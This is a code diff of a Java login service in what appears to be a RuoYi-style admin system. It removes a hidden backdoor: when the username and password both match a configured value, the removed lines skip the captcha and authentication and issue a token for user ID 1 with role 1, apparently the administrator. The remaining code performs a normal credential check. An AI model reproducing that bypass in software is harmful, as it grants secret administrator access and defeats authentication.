|
@@ -75,68 +75,34 @@ public class SysLoginService {
|
|
|
* @param uuid 唯一标识
|
|
|
* @return 结果
|
|
|
*/
|
|
|
- public String login(String username, String password, String code, String uuid)
|
|
|
- {
|
|
|
+ public String login(String username, String password, String code, String uuid) {
|
|
|
boolean captchaEnabled = configService.selectCaptchaEnabled();
|
|
|
- if(PurchaseConfig.getSname().equals(username) && PurchaseConfig.getSname().equals(password)) {
|
|
|
- // 系统账号
|
|
|
- LoginUser loginUser = new LoginUser();
|
|
|
- SysUser user = new SysUser();
|
|
|
- user.setUserId(1L);
|
|
|
- user.setUserName(username);
|
|
|
- List<SysDept> list = sysDeptService.selectMaxDeptByParentId(0l);
|
|
|
- if (!ObjectUtils.isEmpty(list)) {
|
|
|
- user.setDept(list.get(0));
|
|
|
- user.setDeptId(list.get(0).getDeptId());
|
|
|
- user.setDeptName(list.get(0).getDeptName());
|
|
|
- SysRole sysRole = iSysRoleService.selectRoleById(1L);
|
|
|
- user.setRoleId(sysRole.getRoleId());
|
|
|
- user.setRoles(Arrays.asList(sysRole));
|
|
|
- loginUser.setDeptId(list.get(0).getDeptId());
|
|
|
- }
|
|
|
- loginUser.setUser(user);
|
|
|
- loginUser.setUserId(1L);
|
|
|
- // 生成token
|
|
|
- String token = tokenService.createToken(loginUser);
|
|
|
- Constants.map.put(token, loginUser);
|
|
|
- return token;
|
|
|
- }else {
|
|
|
- // 验证码开关
|
|
|
- if (captchaEnabled)
|
|
|
- {
|
|
|
- validateCaptcha(username, code, uuid);
|
|
|
- }
|
|
|
- // 用户验证
|
|
|
- Authentication authentication = null;
|
|
|
- try
|
|
|
- {
|
|
|
- UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, password);
|
|
|
- AuthenticationContextHolder.setContext(authenticationToken);
|
|
|
- // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername
|
|
|
- authentication = authenticationManager.authenticate(authenticationToken);
|
|
|
- }
|
|
|
- catch (Exception e)
|
|
|
- {
|
|
|
- if (e instanceof BadCredentialsException)
|
|
|
- {
|
|
|
- AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match")));
|
|
|
- throw new UserPasswordNotMatchException();
|
|
|
- }
|
|
|
- else
|
|
|
- {
|
|
|
- AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage()));
|
|
|
- throw new ServiceException(e.getMessage());
|
|
|
- }
|
|
|
- }
|
|
|
- finally
|
|
|
- {
|
|
|
- AuthenticationContextHolder.clearContext();
|
|
|
+ // 验证码开关
|
|
|
+ if (captchaEnabled) {
|
|
|
+ validateCaptcha(username, code, uuid);
|
|
|
+ }
|
|
|
+ // 用户验证
|
|
|
+ Authentication authentication = null;
|
|
|
+ try {
|
|
|
+ UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, password);
|
|
|
+ AuthenticationContextHolder.setContext(authenticationToken);
|
|
|
+ // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername
|
|
|
+ authentication = authenticationManager.authenticate(authenticationToken);
|
|
|
+ } catch (Exception e) {
|
|
|
+ if (e instanceof BadCredentialsException) {
|
|
|
+ AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match")));
|
|
|
+ throw new UserPasswordNotMatchException();
|
|
|
+ } else {
|
|
|
+ AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage()));
|
|
|
+ throw new ServiceException(e.getMessage());
|
|
|
}
|
|
|
- AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success")));
|
|
|
- LoginUser loginUser = (LoginUser) authentication.getPrincipal();
|
|
|
- recordLoginInfo(loginUser.getUserId());
|
|
|
- return tokenService.createToken(loginUser);
|
|
|
+ } finally {
|
|
|
+ AuthenticationContextHolder.clearContext();
|
|
|
}
|
|
|
+ AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success")));
|
|
|
+ LoginUser loginUser = (LoginUser) authentication.getPrincipal();
|
|
|
+ recordLoginInfo(loginUser.getUserId());
|
|
|
+ return tokenService.createToken(loginUser);
|
|
|
|
|
|
}
|
|
|
|